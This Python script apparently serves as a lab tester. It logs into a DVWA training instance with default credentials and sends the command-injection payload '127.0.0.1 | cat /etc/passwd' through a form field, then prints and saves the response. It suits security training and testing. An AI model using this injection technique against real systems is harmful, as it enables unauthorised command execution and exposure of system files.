# Import the necessary libraries.
import requests
from urllib.parse import urljoin

# Define the target URL and login credentials.
target_url = "http://192.168.134.129/dvwa/"
login_url = urljoin(target_url, "login.php")
login_data = {
    "username": "admin",
    "password": "password",
    "Login": "Login"
}

# Define the vulnerable page URL.
vuln_page_url = urljoin(target_url, "vulnerabilities/exec/")

# Define the test payload.
payload = "127.0.0.1 | cat /etc/passwd"


def check_command_injection(base_url, login_url, login_data, vuln_page_url):
    print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}")

    # Authenticate with the application (DVWA).
    session = requests.Session()
    response = session.post(login_url, data=login_data)

    if "Login failed" in response.text:
        print("[-] Authentication failed. Please check the credentials.")
        return

    # Send the payload through the form.
    form_data = {
        "ip": payload,
        "submit": "Submit"
    }

    try:
        response = session.post(vuln_page_url, data=form_data)
        print(f"[!] Payload used: {payload}")
        print("[+] Response after command injection:\n")
        print("=" * 80)
        print(response.text)
        print("=" * 80)
        print("\n[!] Please inspect the response to determine if the parameter is vulnerable to command injection.\n")

        # Write the response to a text file.
        with open("response.txt", "w") as f:
            f.write(response.text)
        print("[+] Response written to response.txt")
    except Exception as e:
        print(f"[-] Error occurred while testing payload '{payload}': {e}")

    print("[+] Command injection testing completed.\n")


# Call the function with the required parameters.
check_command_injection(target_url, login_url, login_data, vuln_page_url)